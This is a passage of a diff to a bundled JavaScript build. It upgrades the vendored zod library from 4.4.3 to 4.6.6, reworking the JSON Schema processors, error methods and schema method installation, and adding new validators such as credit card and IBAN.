- return v.optin === void 0; - } else { - return v.optout === void 0; + const requiredKeys = []; + for (const key of Object.keys(shape)) { + const field = def.shape[key]; + if (ctx.io === "input" ? inputOptin(field) === void 0 : field._zod.optout === void 0) { + requiredKeys.push(key); } - })); - if (requiredKeys.size > 0) { - json3.required = Array.from(requiredKeys); + } + if (requiredKeys.length > 0) { + json3.required = requiredKeys; } if (def.catchall?._zod.def.type === "never") { json3.additionalProperties = false; @@ -75078,7 +79537,7 @@ var objectProcessor = (schema, ctx, _json, params) => { if (ctx.io === "output") json3.additionalProperties = false; } else if (def.catchall) { - json3.additionalProperties = process2(def.catchall, ctx, { + json3.additionalProperties = processSchema(def.catchall, ctx, { ...params, path: [...params.path, "additionalProperties"] }); @@ -75087,7 +79546,7 @@ var objectProcessor = (schema, ctx, _json, params) => { var unionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; const isExclusive = def.inclusive === false; - const options = def.options.map((x, i) => process2(x, ctx, { + const options = def.options.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, isExclusive ? "oneOf" : "anyOf", i] })); @@ -75099,11 +79558,11 @@ var unionProcessor = (schema, ctx, json3, params) => { }; var intersectionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const a = process2(def.left, ctx, { + const a = processSchema(def.left, ctx, { ...params, path: [...params.path, "allOf", 0] }); - const b2 = process2(def.right, ctx, { + const b2 = processSchema(def.right, ctx, { ...params, path: [...params.path, "allOf", 1] }); @@ -75113,6 +79572,7 @@ var intersectionProcessor = (schema, ctx, json3, params) => { ...isSimpleIntersection(b2) ? b2.allOf : [b2] ]; json3.allOf = allOf; + ctx.intersections.push(allOf); }; var tupleProcessor = (schema, ctx, _json, params) => { const json3 = _json; @@ -75120,19 +79580,35 @@ var tupleProcessor = (schema, ctx, _json, params) => { json3.type = "array"; const prefixPath = ctx.target === "draft-2020-12" ? "prefixItems" : "items"; const restPath = ctx.target === "draft-2020-12" ? "items" : ctx.target === "openapi-3.0" ? "items" : "additionalItems"; - const prefixItems = def.items.map((x, i) => process2(x, ctx, { + const prefixItems = def.items.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, prefixPath, i] })); - const rest = def.rest ? process2(def.rest, ctx, { + const rest = def.rest ? processSchema(def.rest, ctx, { ...params, path: [...params.path, restPath, ...ctx.target === "openapi-3.0" ? [def.items.length] : []] }) : null; + let minItems = def.items.length; + while (minItems > 0) { + const item = def.items[minItems - 1]; + const optional2 = ctx.io === "input" ? inputOptin(item) !== void 0 : item._zod.optout === "optional"; + if (!optional2) + break; + minItems--; + } + const maxItems = def.items.length; + const isClosed = !def.rest; if (ctx.target === "draft-2020-12") { json3.prefixItems = prefixItems; - if (rest) { + if (isClosed) { + json3.items = false; + } else if (rest) { json3.items = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else if (ctx.target === "openapi-3.0") { json3.items = { anyOf: prefixItems @@ -75140,61 +79616,137 @@ var tupleProcessor = (schema, ctx, _json, params) => { if (rest) { json3.items.anyOf.push(rest); } - json3.minItems = prefixItems.length; - if (!rest) { - json3.maxItems = prefixItems.length; - } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else { json3.items = prefixItems; - if (rest) { + if (isClosed) { + json3.additionalItems = false; + } else if (rest) { json3.additionalItems = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; }; +function stringifyKeyNames(bySchema, json3, visited) { + if (json3.$ref) { + if (visited.has(json3)) + return json3; + visited.add(json3); + const def = bySchema.get(json3)?.def; + if (!def) + return json3; + const inlined = stringifyKeyNames(bySchema, def, visited); + return inlined === def ? json3 : inlined; + } + for (const keyword of ["anyOf", "oneOf"]) { + const branches = json3[keyword]; + if (!Array.isArray(branches)) + continue; + const mapped = branches.map((branch) => stringifyKeyNames(bySchema, branch, visited)); + if (mapped.some((branch, i) => branch !== branches[i])) + json3 = { ...json3, [keyword]: mapped }; + } + const types2 = Array.isArray(json3.type) ? json3.type : [json3.type]; + const numericType = !types2.includes("string") && types2.some((t) => t === "number" || t === "integer"); + const values2 = json3.enum ?? (json3.const !== void 0 ? [json3.const] : void 0); + if (!numericType && !values2?.some((v) => typeof v === "number")) + return json3; + const { minimum, maximum, exclusiveMinimum, exclusiveMaximum, multipleOf, format, id, ...rest } = json3; + if (rest.enum) + rest.enum = rest.enum.map((v) => typeof v === "number" ? String(v) : v); + else if (typeof rest.const === "number") + rest.const = String(rest.const); + if (!numericType) + return rest; + rest.type = "string"; + if (!values2) + rest.pattern = (types2.includes("number") ? number : integer2).source; + return rest; +} +var pendingRecords = /* @__PURE__ */ new WeakMap(); +function rewriteKeyNames(ctx) { + const bySchema = /* @__PURE__ */ new Map(); + for (const entry of ctx.seen.values()) { + if (entry.def && !bySchema.has(entry.schema)) + bySchema.set(entry.schema, entry); + } + const rewrites = /* @__PURE__ */ new Map(); + for (const record2 of pendingRecords.get(ctx) ?? []) { + const seen = ctx.seen.get(record2); + const names = (seen?.def ?? seen?.schema)?.propertyNames; + if (!names || names === true || rewrites.has(names)) + continue; + const rewritten = stringifyKeyNames(bySchema, names, /* @__PURE__ */ new Set()); + if (rewritten !== names) + rewrites.set(names, rewritten); + } + if (!rewrites.size) + return; + for (const entry of ctx.seen.values()) { + for (const carrier of [entry.schema, entry.def]) { + const rewritten = carrier && rewrites.get(carrier.propertyNames); + if (rewritten) + carrier.propertyNames = rewritten; + } + } +} var recordProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; json3.type = "object"; const keyType = def.keyType; - const keyBag = keyType._zod.bag; - const patterns = keyBag?.patterns; + const patterns = aggregateChecks(keyType).patterns; if (def.mode === "loose" && patterns && patterns.size > 0) { - const valueSchema = process2(def.valueType, ctx, { + const valueSchema = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "patternProperties", "*"] }); json3.patternProperties = {}; for (const pattern of patterns) { - json3.patternProperties[pattern.source] = valueSchema; + assignProp(json3.patternProperties, exactPattern(pattern).source, valueSchema); } } else { if (ctx.target === "draft-07" || ctx.target === "draft-2020-12") { - json3.propertyNames = process2(def.keyType, ctx, { + json3.propertyNames = processSchema(def.keyType, ctx, { ...params, path: [...params.path, "propertyNames"] }); + let pending = pendingRecords.get(ctx); + if (!pending) { + pending = []; + pendingRecords.set(ctx, pending); + ctx.deferred.push(() => rewriteKeyNames(ctx)); + } + pending.push(schema); } - json3.additionalProperties = process2(def.valueType, ctx, { + json3.additionalProperties = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "additionalProperties"] }); } const keyValues = keyType._zod.values; - if (keyValues) { + const omittableOnInput = ctx.io === "input" && inputOptin(def.valueType) !== void 0; + if (keyValues && !def.partial && !omittableOnInput) { const validKeyValues = [...keyValues].filter((v) => typeof v === "string" || typeof v === "number"); if (validKeyValues.length > 0) { - json3.required = validKeyValues; + json3.required = validKeyValues.map(String); } } }; var nullableProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const inner = process2(def.innerType, ctx, params); + const inner = processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); if (ctx.target === "openapi-3.0") { seen.ref = def.innerType; @@ -75205,35 +79757,55 @@ var nullableProcessor = (schema, ctx, json3, params) => { }; var nonoptionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; +var UNREPRESENTABLE_DEFAULT = Symbol(); +function serializeDefaultValue(value, schema, ctx, json3, params) { + let unrepresentable = false; + const serialized = JSON.stringify(value, (_, val) => { + if (typeof val !== "bigint") + return val; + unrepresentable = true; + return null; + }); + if (!unrepresentable) + return JSON.parse(serialized); + handleUnrepresentable(schema, ctx, json3, params, "BigInt defaults cannot be represented in JSON Schema"); + return UNREPRESENTABLE_DEFAULT; +} var defaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - json3.default = JSON.parse(JSON.stringify(def.defaultValue)); + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3.default = value; }; var prefaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - if (ctx.io === "input") - json3._prefault = JSON.parse(JSON.stringify(def.defaultValue)); + if (ctx.io !== "input") + return; + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3._prefault = value; }; var catchProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; let catchValue; try { catchValue = def.catchValue(void 0); } catch { - throw new Error("Dynamic catch values are not supported in JSON Schema"); + handleUnrepresentable(schema, ctx, json3, params, "Dynamic catch values are not supported in JSON Schema"); + return; } json3.default = catchValue; }; @@ -75241,32 +79813,32 @@ var pipeProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; const inIsTransform = def.in._zod.traits.has("$ZodTransform"); const innerType = ctx.io === "input" ? inIsTransform ? def.out : def.in : def.out; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; var readonlyProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; json3.readOnly = true; }; var promiseProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var optionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var lazyProcessor = (schema, ctx, _json, params) => { const innerType = schema._zod.innerType; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; @@ -75311,14 +79883,14 @@ var allProcessors = { optional: optionalProcessor, lazy: lazyProcessor }; -function toJSONSchema(input, params) { - if ("_idmap" in input) { - const registry2 = input; +function toJSONSchema(input2, params) { + if ("_idmap" in input2) { + const registry2 = input2; const ctx2 = initializeContext({ ...params, processors: allProcessors }); const defs = {}; for (const entry of registry2._idmap.entries()) { const [_, schema] = entry; - process2(schema, ctx2); + processSchema(schema, ctx2); } const schemas = {}; const external = { @@ -75330,7 +79902,7 @@ function toJSONSchema(input, params) { for (const entry of registry2._idmap.entries()) { const [key, schema] = entry; extractDefs(ctx2, schema); - schemas[key] = finalize(ctx2, schema); + assignProp(schemas, key, finalize(ctx2, schema)); } if (Object.keys(defs).length > 0) { const defsSegment = ctx2.target === "draft-2020-12" ? "$defs" : "definitions"; @@ -75341,12 +79913,12 @@ function toJSONSchema(input, params) { return { schemas }; } const ctx = initializeContext({ ...params, processors: allProcessors }); - process2(input, ctx); - extractDefs(ctx, input); - return finalize(ctx, input); + processSchema(input2, ctx); + extractDefs(ctx, input2); + return finalize(ctx, input2); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-generator.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-generator.js var JSONSchemaGenerator = class { /** @deprecated Access via ctx instead */ get metadataRegistry() { @@ -75356,6 +79928,7 @@ var JSONSchemaGenerator = class { get target() { return this.ctx.target; } + // annotated so the .d.cts emits an indexed access rather than an inline `import()` of an ESM path /** @deprecated Access via ctx instead */ get unrepresentable() { return this.ctx.unrepresentable; @@ -75399,7 +79972,7 @@ var JSONSchemaGenerator = class { * This must be called before emit(). */ process(schema, _params = { path: [], schemaPath: [] }) { - return process2(schema, this.ctx, _params); + return processSchema(schema, this.ctx, _params); } /** * Emit the final JSON Schema after processing. @@ -75414,6 +79987,8 @@ var JSONSchemaGenerator = class { if (_params.external) this.ctx.external = _params.external; } + this.ctx.sharedDefsExtractedFor = void 0; + this.ctx.sharedEmitDoneFor = void 0; extractDefs(this.ctx, schema); const result = finalize(this.ctx, schema); const { "~standard": _, ...plainResult } = result; @@ -75421,10 +79996,10 @@ var JSONSchemaGenerator = class { } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema.js var json_schema_exports = {}; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js var schemas_exports2 = {}; __export(schemas_exports2, { ZodAny: () => ZodAny, @@ -75440,6 +80015,7 @@ __export(schemas_exports2, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -75453,8 +80029,14 @@ __export(schemas_exports2, { ZodFile: () => ZodFile, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodJWT: () => ZodJWT, ZodKSUID: () => ZodKSUID, @@ -75510,10 +80092,12 @@ __export(schemas_exports2, { cidrv4: () => cidrv42, cidrv6: () => cidrv62, codec: () => codec, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date4, + date: () => date3, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -75530,6 +80114,7 @@ __export(schemas_exports2, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -75595,7 +80180,7 @@ __export(schemas_exports2, { xor: () => xor2 }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/checks.js var checks_exports2 = {}; __export(checks_exports2, { endsWith: () => _endsWith, @@ -75618,6 +80203,7 @@ __export(checks_exports2, { normalize: () => _normalize, overwrite: () => _overwrite, positive: () => _positive, + properties: () => _properties, property: () => _property, regex: () => _regex, size: () => _size, @@ -75629,88 +80215,53 @@ __export(checks_exports2, { uppercase: () => _uppercase }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js -var iso_exports = {}; -__export(iso_exports, { - ZodISODate: () => ZodISODate, - ZodISODateTime: () => ZodISODateTime, - ZodISODuration: () => ZodISODuration, - ZodISOTime: () => ZodISOTime, - date: () => date3, - datetime: () => datetime2, - duration: () => duration2, - time: () => time3 -}); -var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { - $ZodISODateTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function datetime2(params) { - return _isoDateTime(ZodISODateTime, params); -} -var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { - $ZodISODate.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function date3(params) { - return _isoDate(ZodISODate, params); -} -var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { - $ZodISOTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function time3(params) { - return _isoTime(ZodISOTime, params); -} -var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { - $ZodISODuration.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function duration2(params) { - return _isoDuration(ZodISODuration, params); +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/errors.js +var _installedErrorProtos = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +function _lazyMethod(proto, key, make) { + Object.defineProperty(proto, key, { + configurable: true, + enumerable: false, + get() { + const value = make(this); + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + } + }); } - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js var initializer2 = (inst, issues) => { $ZodError.init(inst, issues); inst.name = "ZodError"; - Object.defineProperties(inst, { - format: { - value: (mapper) => formatError(inst, mapper) - // enumerable: false, - }, - flatten: { - value: (mapper) => flattenError(inst, mapper) - // enumerable: false, - }, - addIssue: { - value: (issue2) => { - inst.issues.push(issue2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - addIssues: { - value: (issues2) => { - inst.issues.push(...issues2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - isEmpty: { - get() { - return inst.issues.length === 0; - } - // enumerable: false, + const proto = Object.getPrototypeOf(inst); + if (_installedErrorProtos.has(proto)) + return; + _installedErrorProtos.add(proto); + _lazyMethod(proto, "format", (self2) => (mapper) => formatError(self2, mapper)); + _lazyMethod(proto, "flatten", (self2) => (mapper) => flattenError(self2, mapper)); + _lazyMethod(proto, "addIssue", (self2) => (issue2) => { + self2.issues.push(issue2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + _lazyMethod(proto, "addIssues", (self2) => (issues2) => { + self2.issues.push(...issues2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + Object.defineProperty(proto, "isEmpty", { + configurable: true, + enumerable: false, + get() { + return this.issues.length === 0; } }); }; var ZodError = /* @__PURE__ */ $constructor("ZodError", initializer2); -var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, { +var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, void 0, { Parent: Error }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/parse.js var parse3 = /* @__PURE__ */ _parse(ZodRealError); var parseAsync2 = /* @__PURE__ */ _parseAsync(ZodRealError); var safeParse2 = /* @__PURE__ */ _safeParse(ZodRealError); @@ -75724,182 +80275,202 @@ var safeDecode2 = /* @__PURE__ */ _safeDecode(ZodRealError); var safeEncodeAsync2 = /* @__PURE__ */ _safeEncodeAsync(ZodRealError); var safeDecodeAsync2 = /* @__PURE__ */ _safeDecodeAsync(ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js -var _installedGroups = /* @__PURE__ */ new WeakMap(); -function _installLazyMethods(inst, group, methods) { - const proto = Object.getPrototypeOf(inst); - let installed = _installedGroups.get(proto); - if (!installed) { - installed = /* @__PURE__ */ new Set(); - _installedGroups.set(proto, installed); - } - if (installed.has(group)) - return; - installed.add(group); - for (const key in methods) { - const fn = methods[key]; - Object.defineProperty(proto, key, { - configurable: true, - enumerable: false, - get() { - const bound = fn.bind(this); - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: bound - }); - return bound; - }, - set(v) { - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: v - }); - } - }); - } +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js +function _ensureDefaultLocale() { + if (!globalConfig.localeError) + config(en_default()); +} +function _ensureDefaultMemoizer() { + if (!globalConfig.memoizer) + config({ memoizer: memoizer() }); } var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { + _ensureDefaultLocale(); $ZodType.init(inst, def); - Object.assign(inst["~standard"], { - jsonSchema: { - input: createStandardJSONSchemaMethod(inst, "input"), - output: createStandardJSONSchemaMethod(inst, "output") - } - }); - inst.toJSONSchema = createToJSONSchemaMethod(inst, {}); inst.def = def; inst.type = def.type; - Object.defineProperty(inst, "_def", { value: def }); - inst.parse = (data, params) => parse3(inst, data, params, { callee: inst.parse }); - inst.safeParse = (data, params) => safeParse2(inst, data, params); - inst.parseAsync = async (data, params) => parseAsync2(inst, data, params, { callee: inst.parseAsync }); - inst.safeParseAsync = async (data, params) => safeParseAsync2(inst, data, params); - inst.spa = inst.safeParseAsync; - inst.encode = (data, params) => encode2(inst, data, params); - inst.decode = (data, params) => decode2(inst, data, params); - inst.encodeAsync = async (data, params) => encodeAsync2(inst, data, params); - inst.decodeAsync = async (data, params) => decodeAsync2(inst, data, params); - inst.safeEncode = (data, params) => safeEncode2(inst, data, params); - inst.safeDecode = (data, params) => safeDecode2(inst, data, params); - inst.safeEncodeAsync = async (data, params) => safeEncodeAsync2(inst, data, params); - inst.safeDecodeAsync = async (data, params) => safeDecodeAsync2(inst, data, params); - _installLazyMethods(inst, "ZodType", { - check(...chks) { - const def2 = this.def; - return this.clone(util_exports.mergeDefs(def2, { - checks: [ - ...def2.checks ?? [], - ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) - ] - }), { parent: true }); - }, - with(...chks) { - return this.check(...chks); - }, - clone(def2, params) { - return clone(this, def2, params); - }, - brand() { - return this; - }, - register(reg, meta3) { - reg.add(this, meta3); - return this; - }, - refine(check3, params) { - return this.check(refine(check3, params)); - }, - superRefine(refinement, params) { - return this.check(superRefine(refinement, params)); - }, - overwrite(fn) { - return this.check(_overwrite(fn)); - }, - optional() { - return optional(this); - }, - exactOptional() { - return exactOptional(this); - }, - nullable() { - return nullable(this); - }, - nullish() { - return optional(nullable(this)); - }, - nonoptional(params) { - return nonoptional(this, params); - }, - array() { - return array(this); - }, - or(arg) { - return union2([this, arg]); - }, - and(arg) { - return intersection(this, arg); - }, - transform(tx) { - return pipe(this, transform(tx)); - }, - default(d) { - return _default2(this, d); - }, - prefault(d) { - return prefault(this, d); - }, - catch(params) { - return _catch2(this, params); - }, - pipe(target) { - return pipe(this, target); - }, - readonly() { - return readonly(this); - }, - describe(description) { - const cl = this.clone(); - globalRegistry.add(cl, { description }); - return cl; - }, - meta(...args) { - if (args.length === 0) - return globalRegistry.get(this); - const cl = this.clone(); - globalRegistry.add(cl, args[0]); - return cl; - }, - isOptional() { - return this.safeParse(void 0).success; - }, - isNullable() { - return this.safeParse(null).success; - }, - apply(fn) { - return fn(this); - } - }); - Object.defineProperty(inst, "description", { - get() { - return globalRegistry.get(inst)?.description; - }, - configurable: true - }); return inst; +}, { + check(...chks) { + const def = this.def; + return this.clone(util_exports.mergeDefs(def, { + checks: [ + ...def.checks ?? [], + ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) + ] + }), { parent: true }); + }, + with(...chks) { + return this.check(...chks); + }, + clone(def, params) { + return clone(this, def, params); + }, + brand() { + return this; + }, + register(reg, meta3) { + reg.add(this, meta3); + return this; + }, + refine(check3, params) { + return this.check(refine(check3, params)); + }, + superRefine(refinement, params) { + return this.check(superRefine(refinement, params)); + }, + overwrite(fn) { + return this.check(_overwrite(fn)); + }, + optional() { + return optional(this); + }, + exactOptional() { + return exactOptional(this); + }, + nullable() { + return nullable(this); + }, + nullish() { + return optional(nullable(this)); + }, + nonoptional(params) { + return nonoptional(this, params); + }, + array() { + return array(this); + }, + or(arg) { + return union2([this, arg]); + }, + and(arg) { + return intersection(this, arg); + }, + transform(tx) { + return pipe(this, transform(tx)); + }, + default(d) { + return _default2(this, d); + }, + prefault(d) { + return prefault(this, d); + }, + catch(params) { + return _catch2(this, params); + }, + pipe(target) { + return pipe(this, target); + }, + readonly() { + return readonly(this); + }, + describe(description) { + const cl = this.clone(); + globalRegistry.add(cl, { description }); + return cl; + }, + meta(...args) { + if (args.length === 0) + return globalRegistry.get(this); + const cl = this.clone(); + globalRegistry.add(cl, args[0]); + return cl; + }, + isOptional() { + return this.safeParse(void 0).success; + }, + isNullable() { + return this.safeParse(null).success; + }, + apply(fn, ...args) { + return args.length === 0 ? fn(this) : fn(this, ...args); + }, + // Overrides core's `~standard` to add `jsonSchema`. Must stay a prototype entry: redefining it per instance demotes instances to dictionary mode. + get "~standard"() { + return util_exports.hide(this, "~standard", { + ...standardProps(this), + jsonSchema: { + input: createStandardJSONSchemaMethod(this, "input"), + output: createStandardJSONSchemaMethod(this, "output") + } + }); + }, + set "~standard"(value) { + util_exports.own(this, "~standard", value); + }, + parse: function _parse2(data, params) { + return parse3(this, data, params, { callee: _parse2 }); + }, + parseAsync: async function _parseAsync2(data, params) { + return await parseAsync2(this, data, params, { callee: _parseAsync2 }); + }, + safeParse(data, params) { + return safeParse2(this, data, params); + }, + async safeParseAsync(data, params) { + return safeParseAsync2(this, data, params); + }, + // `spa` is an alias: same function object as `safeParseAsync`, as before. + get spa() { + return this?.safeParseAsync; + }, + set spa(value) { + util_exports.own(this, "spa", value); + }, + validate(data, params) { + return validate(this, data, params); + }, + validateAsync(data, params) { + return validateAsync(this, data, params); + }, + encode: function _encode2(data, params) { + return encode2(this, data, params, { callee: _encode2 }); + }, + decode: function _decode2(data, params) { + return decode2(this, data, params, { callee: _decode2 }); + }, + encodeAsync: async function _encodeAsync2(data, params) { + return await encodeAsync2(this, data, params, { callee: _encodeAsync2 }); + }, + decodeAsync: async function _decodeAsync2(data, params) { + return await decodeAsync2(this, data, params, { callee: _decodeAsync2 }); + }, + safeEncode(data, params) { + return safeEncode2(this, data, params); + }, + safeDecode(data, params) { + return safeDecode2(this, data, params); + }, + async safeEncodeAsync(data, params) { + return safeEncodeAsync2(this, data, params); + }, + async safeDecodeAsync(data, params) { + return safeDecodeAsync2(this, data, params); + }, + toJSONSchema(params) { + return createToJSONSchemaMethod(this, {})(params); + }, + // Reads through to the registry on every access, so it must not cache. + get description() { + return globalRegistry.get(this)?.description; + }, + // No setter: `schema._def = x` throws, as it did when `_def` was a non-writable own property. + get _def() { + return this._zod.def; + } }); -var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { - $ZodString.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); - const bag = inst._zod.bag; - inst.format = bag.format ?? null; - inst.minLength = bag.minimum ?? null; - inst.maxLength = bag.maximum ?? null; - _installLazyMethods(inst, "_ZodString", { +var _ZodString = /* @__PURE__ */ $constructor( + "_ZodString", + (inst, def) => { + $ZodString.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + format: (inst) => aggregateChecks(inst).format ?? null, + minLength: (inst) => aggregateChecks(inst).minimum ?? null, + maxLength: (inst) => aggregateChecks(inst).maximum ?? null + }, { regex(...args) { return this.check(_regex(...args)); }, @@ -75945,38 +80516,90 @@ var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { slugify() { return this.check(_slugify()); } - }); -}); + }) +); var ZodString = /* @__PURE__ */ $constructor("ZodString", (inst, def) => { $ZodString.init(inst, def); _ZodString.init(inst, def); - inst.email = (params) => inst.check(_email(ZodEmail, params)); - inst.url = (params) => inst.check(_url(ZodURL, params)); - inst.jwt = (params) => inst.check(_jwt(ZodJWT, params)); - inst.emoji = (params) => inst.check(_emoji2(ZodEmoji, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.uuid = (params) => inst.check(_uuid(ZodUUID, params)); - inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params)); - inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params)); - inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params)); - inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.cuid = (params) => inst.check(_cuid(ZodCUID, params)); - inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params)); - inst.ulid = (params) => inst.check(_ulid(ZodULID, params)); - inst.base64 = (params) => inst.check(_base64(ZodBase64, params)); - inst.base64url = (params) => inst.check(_base64url(ZodBase64URL, params)); - inst.xid = (params) => inst.check(_xid(ZodXID, params)); - inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params)); - inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params)); - inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params)); - inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params)); - inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params)); - inst.e164 = (params) => inst.check(_e164(ZodE164, params)); - inst.datetime = (params) => inst.check(datetime2(params)); - inst.date = (params) => inst.check(date3(params)); - inst.time = (params) => inst.check(time3(params)); - inst.duration = (params) => inst.check(duration2(params)); +}, { + email(params) { + return this.check(_email(ZodEmail, params)); + }, + url(params) { + return this.check(_url(ZodURL, params)); + }, + jwt(params) { + return this.check(_jwt(ZodJWT, params)); + }, + emoji(params) { + return this.check(_emoji2(ZodEmoji, params)); + }, + guid(params) { + return this.check(_guid(ZodGUID, params)); + }, + uuid(params) { + return this.check(_uuid(ZodUUID, params)); + }, + uuidv4(params) { + return 